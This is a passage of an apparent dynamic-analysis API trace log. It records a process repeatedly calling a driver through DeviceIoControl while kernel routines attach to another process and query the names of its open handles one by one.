ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.593] ObfDereferenceObject (Object=0xfffff8a0016d4ba0) returned 0x1 [0131.593] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.593] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.593] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.593] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.593] PsAcquireProcessExitSynchronization () returned 0x0 [0131.593] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.593] ObReferenceObjectByHandle (in: Handle=0x220, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0016e6060, HandleInformation=0x0) returned 0x0 [0131.593] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.593] PsReleaseProcessExitSynchronization () returned 0x2 [0131.593] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.593] ObQueryNameString (in: Object=0xfffff8a0016e6060, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.593] ObfDereferenceObject (Object=0xfffff8a0016e6060) returned 0x1 [0131.593] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.594] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.594] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.594] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.594] PsAcquireProcessExitSynchronization () returned 0x0 [0131.594] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.594] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001504170, HandleInformation=0x0) returned 0x0 [0131.594] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.594] PsReleaseProcessExitSynchronization () returned 0x2 [0131.594] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.594] ObQueryNameString (in: Object=0xfffff8a001504170, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.594] ObfDereferenceObject (Object=0xfffff8a001504170) returned 0x1 [0131.594] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.594] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.594] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.594] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.594] PsAcquireProcessExitSynchronization () returned 0x0 [0131.594] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.594] ObReferenceObjectByHandle (in: Handle=0x22c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a2cd30, HandleInformation=0x0) returned 0x0 [0131.594] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.594] PsReleaseProcessExitSynchronization () returned 0x2 [0131.594] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.594] ObQueryNameString (in: Object=0xfffff8a001a2cd30, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.594] ObfDereferenceObject (Object=0xfffff8a001a2cd30) returned 0x1 [0131.594] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.594] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.594] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.594] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.594] PsAcquireProcessExitSynchronization () returned 0x0 [0131.595] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.595] ObReferenceObjectByHandle (in: Handle=0x230, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a5e540, HandleInformation=0x0) returned 0x0 [0131.595] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.595] PsReleaseProcessExitSynchronization () returned 0x2 [0131.595] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.595] ObQueryNameString (in: Object=0xfffff8a001a5e540, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.595] ObfDereferenceObject (Object=0xfffff8a001a5e540) returned 0x1 [0131.595] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.595] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.595] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.595] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.595] PsAcquireProcessExitSynchronization () returned 0x0 [0131.595] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.595] ObReferenceObjectByHandle (in: Handle=0x240, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001703f70, HandleInformation=0x0) returned 0x0 [0131.595] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.595] PsReleaseProcessExitSynchronization () returned 0x2 [0131.595] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.595] ObQueryNameString (in: Object=0xfffff8a001703f70, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.595] ObfDereferenceObject (Object=0xfffff8a001703f70) returned 0x1 [0131.595] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.595] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.595] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.595] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.595] PsAcquireProcessExitSynchronization () returned 0x0 [0131.595] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.595] ObReferenceObjectByHandle (in: Handle=0x248, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001b65390, HandleInformation=0x0) returned 0x0 [0131.595] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.595] PsReleaseProcessExitSynchronization () returned 0x2 [0131.595] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.595] ObQueryNameString (in: Object=0xfffff8a001b65390, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.595] ObfDereferenceObject (Object=0xfffff8a001b65390) returned 0x1 [0131.595] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.596] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.596] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0131.596] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.596] PsAcquireProcessExitSynchronization () returned 0x0 [0131.596] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.596] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800348e200, HandleInformation=0x0) returned 0x0 [0131.596] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.596] PsReleaseProcessExitSynchronization () returned 0x2 [0131.596] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.596] ObQueryNameString (in: Object=0xfffffa800348e200, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.596] ObfDereferenceObject (Object=0xfffffa800348e200) returned 0x2 [0131.596] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.596] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.596] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.596] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.596] PsAcquireProcessExitSynchronization () returned 0x0 [0131.596] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.596] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001aa6d40, HandleInformation=0x0) returned 0x0 [0131.596] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.596] PsReleaseProcessExitSynchronization () returned 0x2 [0131.596] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.596] ObQueryNameString (in: Object=0xfffff8a001aa6d40, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.596] ObfDereferenceObject (Object=0xfffff8a001aa6d40) returned 0x1 [0131.596] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.596] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.596] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.596] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.596] PsAcquireProcessExitSynchronization () returned 0x0 [0131.596] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.597] ObReferenceObjectByHandle (in: Handle=0x254, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001aaed80, HandleInformation=0x0) returned 0x0 [0131.597] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.597] PsReleaseProcessExitSynchronization () returned 0x2 [0131.597] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.597] ObQueryNameString (in: Object=0xfffff8a001aaed80, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.597] ObfDereferenceObject (Object=0xfffff8a001aaed80) returned 0x1 [0131.597] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.597] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.597] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.597] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.597] PsAcquireProcessExitSynchronization () returned 0x0 [0131.597] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.597] ObReferenceObjectByHandle (in: Handle=0x258, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001aae1f0, HandleInformation=0x0) returned 0x0 [0131.597] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.597] PsReleaseProcessExitSynchronization () returned 0x2 [0131.597] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.597] ObQueryNameString (in: Object=0xfffff8a001aae1f0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.597] ObfDereferenceObject (Object=0xfffff8a001aae1f0) returned 0x1 [0131.597] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.597] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.597] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.597] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.597] PsAcquireProcessExitSynchronization () returned 0x0 [0131.597] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.597] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001aacfc0, HandleInformation=0x0) returned 0x0 [0131.597] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.597] PsReleaseProcessExitSynchronization () returned 0x2 [0131.597] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.597] ObQueryNameString (in: Object=0xfffff8a001aacfc0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.597] ObfDereferenceObject (Object=0xfffff8a001aacfc0) returned 0x1 [0131.598] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.598] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.598] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.598] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.598] PsAcquireProcessExitSynchronization () returned 0x0 [0131.598] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.598] ObReferenceObjectByHandle (in: Handle=0x268, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001aad6f0, HandleInformation=0x0) returned 0x0 [0131.598] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.598] PsReleaseProcessExitSynchronization () returned 0x2 [0131.598] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.598] ObQueryNameString (in: Object=0xfffff8a001aad6f0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.598] ObfDereferenceObject (Object=0xfffff8a001aad6f0) returned 0x1 [0131.598] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.598] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.598] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.598] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.598] PsAcquireProcessExitSynchronization () returned 0x0 [0131.598] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.598] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0012500e0, HandleInformation=0x0) returned 0x0 [0131.598] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.598] PsReleaseProcessExitSynchronization () returned 0x2 [0131.598] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.598] ObQueryNameString (in: Object=0xfffff8a0012500e0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.598] ObfDereferenceObject (Object=0xfffff8a0012500e0) returned 0x1 [0131.598] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.598] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.598] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.598] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.598] PsAcquireProcessExitSynchronization () returned 0x0 [0131.598] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.599] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00206f1f0, HandleInformation=0x0) returned 0x0 [0131.599] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.599] PsReleaseProcessExitSynchronization () returned 0x2 [0131.599] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.599] ObQueryNameString (in: Object=0xfffff8a00206f1f0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.599] ObfDereferenceObject (Object=0xfffff8a00206f1f0) returned 0x1 [0131.599] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.599] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.599] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.599] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.599] PsAcquireProcessExitSynchronization () returned 0x0 [0131.599] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.599] ObReferenceObjectByHandle (in: Handle=0x28c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089e92b0, HandleInformation=0x0) returned 0x0 [0131.599] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.599] PsReleaseProcessExitSynchronization () returned 0x2 [0131.599] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.599] ObQueryNameString (in: Object=0xfffff8a0089e92b0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.599] ObfDereferenceObject (Object=0xfffff8a0089e92b0) returned 0x1 [0131.599] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.599] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.599] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.599] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.599] PsLookupProcessByProcessId (in: 